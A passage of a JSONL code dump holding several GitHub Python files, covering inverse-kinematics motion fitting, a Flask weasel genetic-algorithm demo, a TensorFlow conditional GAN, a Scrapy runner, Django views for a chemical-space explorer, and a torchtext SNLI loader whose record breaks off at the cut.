+{"seq_id":"71528954187","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nimport pickle\nfrom tqdm import tqdm\nfrom boneik import kinematics, solvers, utils, draw, criteria, io\nfrom boneik import bvh\n\n\ndef create_human_body() -> kinematics.Body:\n b = kinematics.BodyBuilder()\n b.add_bone(\n \"torso\",\n \"chest\",\n tip_to_base=utils.make_tip_to_base(1.17965, \"-x,z,y\"),\n dofs={\"rx\": np.deg2rad([-10.0, 90.0])},\n ).add_bone(\n \"chest\",\n \"neck\",\n tip_to_base=utils.make_tip_to_base(2.0279, \"x,y,z\"),\n dofs={\"ry\": np.deg2rad([-90.0, 90.0])},\n ).add_bone(\n \"neck\",\n \"head\",\n tip_to_base=utils.make_tip_to_base(0.73577, \"-x,y,-z\"),\n ).add_bone(\n \"neck\",\n \"shoulder.L\",\n tip_to_base=utils.make_tip_to_base(0.71612, \"-z,-x,y\"),\n ).add_bone(\n \"shoulder.L\",\n \"elbow.L\",\n tip_to_base=utils.make_tip_to_base(1.8189, \"x,y,z\"),\n dofs={\n \"rx\": np.deg2rad([-90.0, 30.0]),\n \"ry\": np.deg2rad([-90.0, 90.0]),\n \"rz\": np.deg2rad([-90.0, 90.0]),\n },\n ).add_bone(\n \"elbow.L\",\n \"hand.L\",\n tip_to_base=utils.make_tip_to_base(1.1908, \"x,y,z\"),\n dofs={\"rz\": np.deg2rad([-135.0, 0.0])},\n ).add_bone(\n \"neck\",\n \"shoulder.R\",\n tip_to_base=utils.make_tip_to_base(0.71612, \"z,x,y\"),\n ).add_bone(\n \"shoulder.R\",\n \"elbow.R\",\n tip_to_base=utils.make_tip_to_base(1.8189, \"x,y,z\"),\n dofs={\n \"rx\": np.deg2rad([-90.0, 30.0]),\n \"ry\": np.deg2rad([-90.0, 90.0]),\n \"rz\": np.deg2rad([-90.0, 90.0]),\n },\n ).add_bone(\n \"elbow.R\",\n \"hand.R\",\n tip_to_base=utils.make_tip_to_base(1.1908, \"x,y,z\"),\n dofs={\"rz\": np.deg2rad([0.0, 135.0])},\n ).add_bone(\n \"torso\",\n \"hip.L\",\n tip_to_base=utils.make_tip_to_base(1.1542, \"-y,x,z\"),\n ).add_bone(\n \"hip.L\",\n \"knee.L\",\n tip_to_base=utils.make_tip_to_base(2.2245, \"x,-z,y\"),\n dofs={\n \"rx\": np.deg2rad([-20.0, 20.0]),\n \"ry\": np.deg2rad([-90.0, 90.0]),\n \"rz\": np.deg2rad([-20.0, 20.0]),\n },\n ).add_bone(\n \"knee.L\",\n \"foot.L\",\n tip_to_base=utils.make_tip_to_base(1.7149, \"x,y,z\"),\n dofs={\"rz\": np.deg2rad([0.0, 90.0])},\n ).add_bone(\n \"torso\",\n \"hip.R\",\n tip_to_base=utils.make_tip_to_base(1.1542, \"y,-x,z\"),\n ).add_bone(\n \"hip.R\",\n \"knee.R\",\n tip_to_base=utils.make_tip_to_base(2.2245, \"x,-z,y\"),\n dofs={\n \"rx\": np.deg2rad([-20.0, 20.0]),\n \"ry\": np.deg2rad([-90.0, 90.0]),\n \"rz\": np.deg2rad([-20.0, 20.0]),\n },\n ).add_bone(\n \"knee.R\",\n \"foot.R\",\n tip_to_base=utils.make_tip_to_base(1.7149, \"x,y,z\"),\n dofs={\"rz\": np.deg2rad([-90.0, 0.0])},\n ).add_bone(\n \"root\",\n \"torso\",\n tip_to_base=torch.eye(4),\n # dofs={\"rx\", \"ry\", \"rz\", \"tx\", \"ty\", \"tz\"},\n dofs={\"rx\", \"ry\", \"rz\"},\n )\n\n body = b.finalize(\n [\n \"head\",\n \"neck\",\n \"shoulder.R\",\n \"elbow.R\",\n \"hand.R\",\n \"shoulder.L\",\n \"elbow.L\",\n \"hand.L\",\n \"hip.R\",\n \"knee.R\",\n \"foot.R\",\n \"hip.L\",\n \"knee.L\",\n \"foot.L\",\n \"torso\",\n \"chest\",\n \"root\",\n ]\n )\n\n return body\n\n\ndef main():\n import argparse\n from pathlib import Path\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"input\", type=Path, help=\"Pickled 3D joint predictions (NxMx3)\")\n parser.add_argument(\"-body\", type=Path, help=\"Kinematic description file\")\n parser.add_argument(\"-input-fps\", type=int, default=30, help=\"Input FPS\")\n parser.add_argument(\"-input-step\", type=int, default=1, help=\"Fit every nth frame\")\n parser.add_argument(\n \"-scale\", type=float, help=\"Scale anchors of first frame to this\"\n )\n parser.add_argument(\n \"-max-loss\", type=float, default=0.3, help=\"max loss to accept in fitting\"\n )\n parser.add_argument(\n \"-crit\",\n type=str,\n choices=[\"euclidean\", \"parallel\"],\n default=\"parallel\",\n help=\"Loss criterium to apply\",\n )\n parser.add_argument(\"-output\", type=Path, default=Path(\"./tmp/human.bvh\"))\n parser.add_argument(\"-show\", type=int, default=1, help=\"visualize every nth frame\")\n\n args = parser.parse_args()\n assert args.input.is_file()\n\n if args.body is not None:\n assert args.body.is_file()\n body = io.load_json(args.body)\n else:\n body = create_human_body()\n N = body.graph.number_of_nodes()\n frame_data = pickle.load(open(r\"C:\\dev\\bone-solve-ik\\etc\\frames_raw.pkl\", \"rb\"))\n if args.scale is not None:\n scale_factor = utils.find_scale_factor(frame_data[0]) * args.scale\n else:\n scale_factor = 1.0\n\n poses = [body.fk()] # important to start from rest-pose for bvh export.\n\n solver = solvers.IKSolver(body)\n if args.crit == \"parallel\":\n crit = criteria.ParallelSegmentCriterium(torch.zeros((N, 3)), torch.ones(N))\n else:\n crit = criteria.EuclideanDistanceCriterium(torch.zeros((N, 3)), torch.ones(N))\n crit.weights[-1] = 0 # root joint never has a corresponding anchor.\n\n axes_ranges = [[-20, 20], [-20, 20], [-2, 5]]\n fig, ax = draw.create_figure3d(axes_ranges=axes_ranges)\n prev_pose = body.fk()\n for i in tqdm(range(0, len(frame_data), args.input_step)):\n crit.anchors[: N - 1] = torch.from_numpy(frame_data[i]).float() * scale_factor\n torso = crit.anchors[-3].clone()\n crit.anchors[: N - 1] -= torso # torso at 0/0/0\n loss = solver.solve(crit, history_size=10, max_iter=10)\n if loss > args.max_loss:\n # retry from rest-pose\n body.reset_()\n loss = solver.solve(crit)\n if loss < args.max_loss:\n delta = body[\"root\", \"torso\"].get_delta()\n body[\"root\", \"torso\"].set_delta(\n [\n delta[0],\n delta[1],\n delta[2],\n torso[0],\n torso[1],\n torso[2],\n ]\n )\n new_pose = body.fk()\n poses.append(new_pose)\n prev_pose = new_pose\n else:\n body.reset_()\n poses.append(prev_pose) # Do not skip any frames, unhandled by BVH\n crit.anchors[: N - 1] += torso\n if (i // args.input_step) % args.show == 0:\n ax.cla()\n ax.set_xlim(*axes_ranges[0])\n ax.set_ylim(*axes_ranges[1])\n ax.set_zlim(*axes_ranges[2])\n draw.draw_kinematics(\n ax,\n body=body,\n fk=body.fk(),\n anchors=crit.anchors,\n draw_vertex_labels=False,\n draw_local_frames=False,\n draw_root=False,\n )\n # fig.savefig(f\"tmp/{i:05d}.png\", bbox_inches=\"tight\")\n plt.show(block=False)\n plt.pause(0.01)\n\n bvh.export_bvh(\n path=args.output, body=body, poses=poses, fps=(args.input_fps / args.input_step)\n )\n\n\nif __name__ == \"__main__\":\n main()\n # makefile()\n","repo_name":"cheind/bone-solve-ik","sub_path":"boneik/examples/fit.py","file_name":"fit.py","file_ext":"py","file_size_in_byte":7382,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"74227311949","text":"from flask import Flask, request, render_template\n\nimport random\nimport string\n\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef index():\n return render_template('index.html')\n\n\n@app.route('/', methods=['POST'])\ndef index_post():\n target = request.form['target']\n population = len(target)\n return find_fittest(target, population)\n\n\ndef get_random():\n return random.choice(string.ascii_uppercase + ' ')\n\n\n# 1. Start with a random string of characters the same length as the target\ndef get_individuals(random_characters, population):\n return ''.join(random_characters for _ in range(population))\n\n\n# 2. Make 100 copies of the string (reproduce)\ndef reproduce(individuals):\n return [individuals] * 100\n\n\n# 3. For each character in each of the 100 copies, with a probability of 5%, replace (mutate) the character with a new random character.\ndef mutate(individuals):\n new_individual = ''\n for c in individuals:\n if random.random() < 0.05:\n new_individual += ''.join(get_random())\n else:\n new_individual += c\n return new_individual\n\n\n# 4. Compare each new string with the target string, and give each a score (the number of letters in the string that are correct and in the correct position).\ndef fitness_score(individuals, target, population):\n fitness_score = 0\n for i in range(population):\n if individuals[i] == target[i]:\n fitness_score += 1\n return fitness_score\n\n\n# 5. If any of the new strings has a perfect score (target length), halt. Otherwise, take the highest scoring string, and go to step 2.\ndef find_fittest(target, population):\n \"\"\"\n While the score of new random characters doesn't match the target character length:\n\n 1. Create 100 empty strings and None scores\n 2. For each sequence in 100, assign empty copies at that sequence to mutated individuals and empty scores to the score of mutated individuals\n 3. Check the highest score (target char length) and append the individuals at this best score's index to the empty array\n 4. Increment loop index to see how many iterations it took to match the target\n \"\"\"\n fittest = []\n generation = 0\n new_individuals = get_individuals(get_random(), population)\n while fitness_score(new_individuals, target, population) != population:\n individual_list = reproduce('')\n fitness_score_list = reproduce(None)\n for i in range(100):\n individual_list[i] = mutate(new_individuals)\n fitness_score_list[i] = fitness_score(individual_list[i], target, population)\n high_score = max(fitness_score_list)\n new_individuals = individual_list[fitness_score_list.index(high_score)]\n fittest.append(new_individuals)\n generation += 1\n return render_template('index.html', output='
'.join(fittest), index=generation)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"erinmyoung/hackery","sub_path":"programming-problems/dawkins-weasel/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"31212376160","text":"# https://github.com/zhangqianhui/Conditional-GAN\nimport tensorflow\nfrom tensorflow.contrib.layers.python.layers import variance_scaling_initializer, batch_norm\nfrom tensorflow.contrib.layers.python.layers import xavier_initializer\nimport numpy\nimport keras\nimport cv2\nimport skimage\nimport skimage.io\nimport matplotlib.pyplot as plt\n\n\n\ndef lrelu(x, alpha=2e-1):\n return tensorflow.maximum(x, alpha * x)\n\ndef conv2d(input_, output_dim, k_h=3, k_w=3, d_h=2, d_w=2, name='conv2d'):\n with tensorflow.variable_scope(name):\n w = tensorflow.get_variable('w', [k_h, k_w, input_.get_shape()[-1], output_dim], initializer=variance_scaling_initializer())\n conv = tensorflow.nn.conv2d(input_, w, strides=[1, d_h, d_w, 1], padding='SAME')\n b = tensorflow.get_variable('b', [output_dim], initializer=tensorflow.constant_initializer(0.0))\n conv = tensorflow.reshape(tensorflow.nn.bias_add(conv, b), conv.get_shape())\n return conv, w\n\n\ndef de_conv2d(input_, output_shape, k_h=3, k_w=3, d_h=2, d_w=2, stddev=2e-2, name='deconv2d', with_w=False, initializer=variance_scaling_initializer()):\n with tensorflow.variable_scope(name):\n w = tensorflow.get_variable('w', [k_h, k_w, output_shape[-1], input_.get_shape()[-1]], initializer=initializer)\n deconv = tensorflow.nn.conv2d_transpose(input_, w, output_shape=output_shape, strides=[1, d_h, d_w, 1])\n b = tensorflow.get_variable('b', [output_shape[-1]], initializer=tensorflow.constant_initializer(0.0))\n deconv = tensorflow.reshape(tensorflow.nn.bias_add(deconv, b), deconv.get_shape())\n if with_w:\n return deconv, w, b\n else:\n return deconv\n\n\ndef fully_connected(input_, output_size, scope=None, with_w=False, initializer=variance_scaling_initializer()):\n shape = input_.get_shape().as_list()\n with tensorflow.variable_scope(scope or 'Linear'):\n matrix = tensorflow.get_variable('Matrix', [shape[1], output_size], tensorflow.float32, initializer=initializer)\n b = tensorflow.get_variable('b', [output_size], initializer=tensorflow.constant_initializer(0.0))\n if with_w:\n return tensorflow.matmul(input_, matrix) + b, matrix, b\n else:\n return tensorflow.matmul(input_, matrix) + b\n\n\ndef conv_cond_concat(x, y):\n x_shapes = x.get_shape()\n y_shapes = y.get_shape()\n return tensorflow.concat([x, y * tensorflow.ones([x_shapes[0], x_shapes[1], x_shapes[2], y_shapes[3]])], 3)\n\n\ndef batch_normal(input_, scope='scope', reuse=False):\n return batch_norm(input_, epsilon=1e-5, decay=9e-1, scale=True, scope=scope, reuse=reuse, updates_collections=None)\n\n\ndef sample_label():\n num = 64\n label_vector = numpy.zeros((num, 10), dtype=numpy.float32)\n for i in range(0, num):\n label_vector[i, int(i/8)] = 1.0\n return label_vector\n\n\ndef merge(images, size):\n h, w = images.shape[1], images.shape[2]\n img = numpy.zeros(h * size[0], w * size[1], 3)\n for idx, image in enumerate(images):\n i = idx % size[1]\n j = idx // size[1]\n img[j*h: j*h + h, i*w: i*w + w, :] = image\n return img\n\n\ndef save_image(images, size, path):\n skimage.io.imsave(path, merge(images, size))\n\n\ndef inverse_transform(image):\n return (image + 1.0) / 2.0\n\n\ndef save_images(images, size, image_path):\n return save_image(inverse_transform(images), size, image_path)\n\n\ndef vis_square(vis_path, data, type):\n data = (data - data.min()) / (data.max() - data.min())\n n = int(numpy.ceil(numpy.sqrt(data.shape[0])))\n padding = (((0, n ** 2 - data.shape[0]),\n (0, 1), (0, 1)) + ((0, 0),) * (data.ndim - 3))\n data = numpy.pad(data, padding, mode='constant', constant_values=1)\n data = data.reshape((n, n) + data.shape[1:]).transpose((0, 2, 1, 3) + tuple(range(4, data.ndim + 1)))\n data = data.reshape((n * data.shape[1], n * data.shape[3]) + data.shape[4:])\n plt.imshow(data[:, :, 0])\n plt.axis('off')\n if type:\n plt.savefig('./{}/weights.png'.format(vis_path), format='png')\n else:\n plt.savefie('./{}/activation.png'.format(vis_path), format='png')\n\n\nclass CGAN(object):\n def __init__(self, data_ob, sample_dir, output_size, learn_rate, batch_size, z_dim, y_dim, log_dir, model_path, visua_path):\n self.data_ob = data_ob\n self.sample_dir = sample_dir\n self.output_size = output_size\n self.learn_rate = learn_rate\n self.batch_size = batch_size\n self.z_dim = z_dim\n self.y_dim = y_dim\n self.log_dir = log_dir\n self.model_path = model_path\n self.visua_path = visua_path\n self.channels = self.data_ob.shape[2]\n self.images = tensorflow.placeholder(tensorflow.float32, [batch_size, self.output_size, self.output_size, self.channels])\n self.z = tensorflow.placeholder(tensorflow.float32, [self.batch_size, self.z_dim])\n self.y = tensorflow.placeholder(tensorflow.float32, [self.batch_size, self.y_dim])\n\n def gern_net(self, z, y):\n with tensorflow.variable_scope('generator') as scope:\n yb = tensorflow.reshape(y, shape=[self.batch_size, 1, 1, self.y_dim])\n z = tensorflow.concat([z, y], 1)\n c1, c2 = int(self.output_size / 4), int(self.output_size / 2)\n d1 = tensorflow.nn.relu(batch_normal(fully_connected(z, output_size=1024, scope='gen_fully1'), scope='gen_bn1'))\n d1 = tensorflow.concat([d1, y], 1)\n d2 = tensorflow.nn.relu(batch_normal(fully_connected(d1, output_size=7*7*2*64, scope='gen_fully2'), scope='gen_bn2'))\n d2 = tensorflow.reshape(d2, [self.batch_size, c1, c1, 64 * 2])\n d2 = conv_cond_concat(d2, yb)\n d3 = tensorflow.nn.relu(batch_normal(de_conv2d(d2, output_shape=[self.batch_size, c2, c2, 128], name='gen_deconv1'), scope='gen_bn3'))\n d3 = conv_cond_concat(d3, yb)\n d4 = de_conv2d(d3, output_shape=[self.batch_size, self.output_size, self.output_size, self.channels], name='gen_deconv2', initializer=xavier_initializer())\n return tensorflow.nn.sigmoid(d4)\n\n def dis_net(self, images, y, reuse=False):\n with tensorflow.variable_scope('discriminator') as scope:\n if reuse == True:\n scope.reuse_variables()\n\n yb = tensorflow.reshape(y, shape=[self.batch_size, 1, 1, self.y_dim])\n concat_data = conv_cond_concat(images, yb)\n conv1, w1 = conv2d(concat_data, output_dim=10, name='dis_conv1')\n tensorflow.add_to_collection('weight_1', w1)\n conv1 = lrelu(conv1)\n conv1 = conv_cond_concat(conv1, yb)\n tensorflow.add_to_collection('ac_1', conv1)\n conv2, w2 = conv2d(conv1, output_dim=64, name='dis_conv2')\n tensorflow.add_to_collection('weight_2', w2)\n conv2 = lrelu(batch_normal(conv2, scope='dis_bn1'))\n tensorflow.add_to_collection('ac_2', conv2)\n f1 = lrelu(batch_normal(fully_connected(conv2, output_size=1024, scope='dis_fully1'), scope='dis_bn2', reuse=reuse))\n f1 = tensorflow.concat([f1, y], 1)\n out = fully_connected(f1, output_size=1, scope='dis_fully2', initializer=xavier_initializer())\n return tensorflow.nn.sigmoid(out), out\n\n def test(self):\n init = tensorflow.initialize_all_variables()\n with tensorflow.Session() as sess:\n sess.run(init)\n self.saver.restore(sess, self.model_path)\n sample_z = numpy.random.uniform(1, -1, size=[self.batch_size, self.z_dim])\n output = sess.run(self.fake_images, feed_dict={self.z: sample_z, self.y: sample_label()})\n save_images(output, [8, 8], './{}/test{:02d}_{:04d}.png'.format(self.sample_dir, 0, 0))\n image = cv2.imread('./{}/test{:02d}_{:04d}.png'.format(self.sample_dir, 0, 0), 0)\n cv2.imshow('test', image)\n cv2.waitKey(-1)\n print('Test Finish!')\n\n def visual(self):\n init = tensorflow.initialize_all_variables()\n with tensorflow.Session() as sess:\n sess.run(init)\n self.saver.restore(sess, self.model_path)\n real_batch_array, real_labels = self.data_ob.getNext_batch(0)\n batch_z = numpy.random.uniform(-1, 1, size=[self.batch_size, self.z_dim])\n conv_weights = sess.run([tensorflow.get_collection('weight_2')])\n vis_square(self.visua_path, conv_weights[0][0].transpose(3, 0, 1, 2), type=1)\n ac = sess.run([tensorflow.get_collection('ac_2')],\n feed_dict={self.images: real_batch_array[:64], self.z: batch_z, self.y: sample_label()})\n vis_square(self.visua_path, ac[0][0].transpose(3, 1, 2, 0), type=0)\n print('The visualization finish!')\n\n def build_model(self):\n self.fake_images = self.gern_net(self.z, self.y)\n G_image = tensorflow.summary.image('G_out', self.fake_images)\n D_pro, D_logits = self.dis_net(self.images, self.y, False)\n D_pro_sum = tensorflow.summary.histogram('D_pro', D_pro)\n G_pro, G_logits = self.dis_net(self.fake_images, self.y, True)\n G_pro_sum = tensorflow.summary.histogram('G_pro', G_pro)\n\n D_fake_loss = tensorflow.reduce_mean(tensorflow.nn.sigmoid_cross_entropy_with_logits(labels=tensorflow.zeros_like(G_pro), logits=G_logits))\n D_real_loss = tensorflow.reduce_mean(tensorflow.nn.sigmoid_cross_entropy_with_logits(labels=tensorflow.ones_like(D_pro), logits=D_logits))\n G_fake_loss = tensorflow.reduce_mean(tensorflow.nn.sigmoid_cross_entropy_with_logits(labels=tensorflow.ones_like(G_pro), logits=G_logits))\n self.D_loss = D_real_loss + D_fake_loss\n self.G_loss = G_fake_loss\n loss_sum = tensorflow.summary.scalar('D_loss', self.D_loss)\n G_loss_sum = tensorflow.summary.scalar('G_loss', self.G_loss)\n self.merged_summary_op_d = tensorflow.summary.merge([loss_sum, D_pro_sum])\n self.merged_summary_op_g = tensorflow.summary.merge([G_loss_sum, G_pro_sum, G_image])\n t_vars = tensorflow.trainable_variables()\n self.d_var = [var for var in t_vars if 'dis' in var.name]\n self.g_var = [var for var in t_vars if 'gen' in var.name]\n self.saver = tensorflow.train.Saver()\n\n def train(self, epochs=20):\n opti_D = tensorflow.train.AdamOptimizer(learning_rate=self.learn_rate, beta1=5e-1).minimize(self.D_loss, var_list=self.d_var)\n opti_G = tensorflow.train.AdamOptimizer(learning_rate=self.learn_rate, beta1=5e-1).minimize(self.G_loss, var_list=self.g_var)\n init = tensorflow.global_variables_initializer()\n config = tensorflow.ConfigProto()\n config.gpu_options.allow_growth = True\n with tensorflow.Session(config=config) as sess:\n sess.run(init)\n summary_writer = tensorflow.summary.FileWriter(self.log_dir, graph=sess.graph)\n step = 0\n while step < epochs:\n real_batch_array, real_labels = self.data_ob.getNext_batch(step)\n batch_z = numpy.random.uniform(-1, 1, size=[self.batch_size, self.z_dim])\n _, summary_str = sess.run([opti_D, self.merged_summary_op_d],\n feed_dict={self.images: real_batch_array, self.z: batch_z, self.y: real_labels})\n summary_writer.add_summary(summary_str, step)\n _, summary_str = sess.run([opti_G, self.merged_summary_op_g],\n feed_dict={self.z: batch_z, self.y: real_labels})\n if step % 2 == 0:\n D_loss = sess.run(self.D_loss, feed_dict={self.images: real_batch_array, self.z: batch_z, self.y: real_labels})\n fake_loss = sess.run(self.G_loss, feed_dict={self.z: batch_z, self.y: real_labels})\n print(\"Step %d: D: loss = %.7f G: loss=%.7f\" % (step, D_loss, fake_loss))\n\n if numpy.mod(step, 50) == 1 and step != 0:\n sample_images = sess.run(self.fake_images, feed_dict={self.z: batch_z, self.y: sample_label()})\n save_images(sample_images, [8, 8], './{}/train_{:04d}.png'.format(self.sample_dir, step))\n self.saver.save(sess, self.model_path)\n step = step + 1\n save_path = self.saver.save(sess, self.model_path)\n print('Model saved in file: %s' % save_path)\n\n\n","repo_name":"MustafaHalimehHH/DeepLearning","sub_path":"Examples/example_23.py","file_name":"example_23.py","file_ext":"py","file_size_in_byte":12407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"26289202720","text":"from scrapy.crawler import CrawlerProcess\nfrom scrapy.utils.project import get_project_settings\n\nprocess = CrawlerProcess(get_project_settings())\n\nfor spider_name in process.spiders.list():\n print (\"Running spider %s\" % (spider_name))\n process.crawl(spider_name)\n\nprocess.start()","repo_name":"coldperformer/web-scrapers","sub_path":"worldometers/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"27992263154","text":"import json\nimport tempfile\nimport heapq\n\nfrom django.db import transaction\nfrom django.http import JsonResponse, HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404, render\nfrom django.urls import reverse\n\nfrom rdkit import Chem\nfrom rdkit.Chem.rdmolfiles import SDMolSupplier\nfrom rdkit.Chem.Draw import rdMolDraw2D\nfrom rdkit.Chem.rdmolfiles import MolToMolBlock, MolFromSmiles\n\nfrom cspace.forms import UploadSDFForm, CreateChemicalSetForm, \\\n CreateFacetJobForm\nfrom cspace.utils import MethodSplitView, load_mol, get_distance_func, \\\n big_qs_iterator, DuckChem\nfrom cspace.models import *\n\ndef tag_index(request):\n tags = ChemicalTag.objects.all()\n\n return render(request, 'cspace/tag-index.html', {\n 'tags': tags\n })\n\ndef chemical_set_index(request):\n sets = ChemicalSet.objects.all()\n\n return render(request, 'cspace/chemical-set-index.html', {\n 'sets': sets\n })\n\ndef facet_index(request):\n facets = ChemicalSetFacet.objects.all()\n\n return render(request, 'cspace/facet-index.html', {\n 'facets': facets\n })\n\nclass ChemicalSetDetail(MethodSplitView):\n def GET(self, request, sid):\n chem_set = get_object_or_404(ChemicalSet, pk=sid)\n create_facet_form = CreateFacetJobForm(\n initial={'chemical_set': chem_set}\n )\n\n return render(request, 'cspace/chemical-set-details.html', {\n 'chem_set': chem_set,\n 'create_facet_form': create_facet_form,\n 'jobs': chem_set.computefacetjob_set.filter(status__lt=2)\n })\n\n def POST(self, request, sid):\n chem_set = get_object_or_404(ChemicalSet, pk=sid)\n create_facet_form = CreateFacetJobForm(request.POST)\n\n if create_facet_form.is_valid():\n job = ComputeFacetJob.objects.create(\n chemical_set=create_facet_form.cleaned_data['chemical_set'],\n sim_measure=create_facet_form.cleaned_data['sim_measure'],\n embedding=create_facet_form.cleaned_data['embedding'],\n )\n\n return HttpResponseRedirect(reverse('chemical-set', args=(sid,)))\n else:\n return render(request, 'cspace/chemical-set-details.html', {\n 'chem_set': chem_set,\n 'create_facet_form': create_facet_form,\n 'jobs': chem_set.computefacetjob_set.filter(status__lt=2)\n })\n\ndef get_facet_data(request, fid):\n facet = get_object_or_404(ChemicalSetFacet, id=fid)\n\n points = []\n all_tags = set(facet.chemical_set.tags.all())\n max_dist_from_origin = 0\n\n echems = (EmbeddedChemical.objects\n .filter(facet=facet)\n .select_related('chemical'))\n\n for echem in echems:\n tags = all_tags & set(echem.chemical.tags.all())\n chem = echem.chemical\n position = json.loads(echem.position)\n\n dist_from_origin = sum([c*c for c in position])\n max_dist_from_origin = max(dist_from_origin, max_dist_from_origin)\n\n points.append({\n 'name': chem.chem_name,\n 'chem_id': chem.pk,\n 'mol_weight': chem.mol_weight,\n 'tpsa': chem.tpsa,\n 'smiles': chem.smiles,\n 'pos': position,\n 'tags': [tag.name for tag in tags],\n 'pubchem_cid': chem.props.get('PUBCHEM_COMPOUND_CID', None),\n 'formula': chem.props.get('PUBCHEM_MOLECULAR_FORMULA', None),\n 'svg_url': reverse('draw-chem', args=(chem.pk,))\n })\n\n return JsonResponse({\n 'facet': {\n 'id': facet.pk,\n 'name': facet.name,\n 'simMeasure': facet.sim_measure,\n 'embedding': facet.embedding,\n 'maxDistFromOrigin': max_dist_from_origin ** 0.5,\n 'tags': sorted([tag.name for tag in all_tags])\n },\n 'points': points,\n })\n\ndef draw_chemical(request, chem_id):\n chem = get_object_or_404(Chemical, id=chem_id)\n mol = chem.get_mol()\n mc = Chem.Mol(mol.ToBinary())\n\n try:\n Chem.Kekulize(mc)\n except:\n mc = Chem.Mol(mol.ToBinary())\n\n if not mc.GetNumConformers():\n Chem.rdDepictor.Compute2DCoords(mc)\n\n drawer = rdMolDraw2D.MolDraw2DSVG(300,200)\n drawer.DrawMolecule(mc)\n drawer.FinishDrawing()\n svg = drawer.GetDrawingText().replace('svg:','')\n\n return JsonResponse({'data' : svg})\n\ndef facet_page(request, fid):\n facet = get_object_or_404(ChemicalSetFacet, id=fid)\n\n return render(request, 'cspace/space-viewer.html', {\n 'facet_id': facet.pk\n })\n\nclass CreateChemicalSet(MethodSplitView):\n def GET(self, request):\n return render(request, 'cspace/create-chemical-set.html', {\n 'form': CreateChemicalSetForm()\n })\n\n @transaction.atomic\n def POST(self, request):\n form = CreateChemicalSetForm(request.POST)\n\n if form.is_valid():\n tags = form.cleaned_data['tags']\n\n chem_set = ChemicalSet.objects.create(\n name=form.cleaned_data['name'],\n description=form.cleaned_data['description']\n )\n chem_set.save()\n\n chems = Chemical.objects.filter(tags__in=tags)\n chem_set.chemical_set.set(chems)\n chem_set.tags.set(tags)\n\n return HttpResponseRedirect(reverse('chemical-set-index'))\n\n\nclass UploadSDF(MethodSplitView):\n def GET(self, request):\n return render(request, 'cspace/upload-sdf.html', {\n 'form': UploadSDFForm()\n })\n\n @transaction.atomic\n def POST(self, request):\n form = UploadSDFForm(request.POST, request.FILES)\n\n if form.is_valid():\n upload = request.FILES['sdf_file']\n tf = tempfile.NamedTemporaryFile()\n for chunk in upload.chunks():\n tf.write(chunk)\n\n tf.flush()\n tf.seek(0)\n molecules = SDMolSupplier(tf.name)\n\n tag, created = ChemicalTag.objects.get_or_create(\n name=form.cleaned_data['tag'])\n\n loaded = 0\n skipped = 0\n for mol in molecules:\n result = load_mol(mol, tag)\n\n if result == -1:\n skipped += 1\n else:\n loaded += 1\n\n return HttpResponseRedirect(reverse('tag-index'))\n\n else:\n return render(request, 'cspace/upload-sdf.html', {\n 'form': form\n })\n\ndef edit_smiles(request):\n smiles = request.GET.get('SMILES', '')\n mol = MolFromSmiles(smiles)\n\n return render(request, 'cspace/chemical-editor.html', {\n 'molblock': MolToMolBlock(mol)\n })\n\ndef sim_search(request, fid):\n facet = get_object_or_404(ChemicalSetFacet, pk=fid)\n chem_set = facet.chemical_set\n\n smiles = request.GET.get('SMILES', None)\n if not smiles:\n return JsonResponse({\n 'status': 'FAILED'\n }, status=400)\n\n make_representation, distf = get_distance_func(facet.sim_measure)\n qrep = make_representation(DuckChem(smiles))\n\n sim_heap = []\n\n i = 0\n for chem in big_qs_iterator(chem_set.chemical_set.all(), batch_size=200):\n rep = make_representation(chem)\n sim = 1.0 - distf(qrep, rep)\n if i < 10:\n i += 1\n heapq.heappush(sim_heap, (sim, chem.pk, chem))\n else:\n heapq.heappushpop(sim_heap, (sim, chem.pk, chem))\n\n sim_heap.sort(reverse=True)\n\n return JsonResponse({\n 'qrep': qrep.ToBase64(),\n 'query': smiles,\n 'status': 'OK',\n 'results': dict(((pk, sim) for sim, pk, _ in sim_heap)),\n })\n\n\n","repo_name":"Lanny/cspace","sub_path":"cspace/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"12042575271","text":"from torchtext.legacy.data import Iterator, BucketIterator\r\nfrom torchtext.legacy import data\r\nimport torch\r\n\r\ndef data_loader(batch_size=32, device=\"cuda\", data_path='data', vectors=None):\r\n TEXT = data.Field(batch_first=True, include_lengths=True, lower=True)\r\n LABEL = data.LabelField(batch_first=True)\r\n TREE = None\r\n\r\n fields = {'sentence1': ('premise', TEXT),\r\n 'sentence2': ('hypothesis', TEXT),\r\n 'gold_label': ('label', LABEL)}\r\n\r\n train_data, dev_data, test_data = data.TabularDataset.splits(\r\n path = data_path,\r\n train='snli_1.0_train.jsonl',\r\n validation='snli_1.0_dev.jsonl',\r\n test='snli_1.0_test.jsonl',\r\n format ='json',\r\n fields = fields,\r\n filter_pred=lambda ex: ex.label != '-'\r\n )\r\n TEXT.build_vocab(train_data, vectors=vectors, unk_init=torch.Tensor.normal_)\r\n LABEL.build_vocab(dev_data)\r\n train_iter, dev_iter = BucketIterator.splits(\r\n (train_data, dev_data),\r\n batch_sizes=(batch_size, batch_size),\r\n device=device,\r\n sort_key=lambda x: len(x.premise) + len(x.hypothesis),\r\n sort_within_batch=True,\r\n repeat=False,\r\n shuffle=True\r\n )\r\n\r\n test_iter = Iterator(\r\n test_data,\r\n batch_size=batch_size,\r\n device=device,\r\n sort=False,\r\n sort_within_batch=False,\r\n repeat=False,\r\n shuffle=False\r\n )\r\n\r\n return train_iter, dev_iter, test_iter, TEXT, LABEL","repo_name":"Raki-j/nlp-beginner-Raki","sub_path":"task3 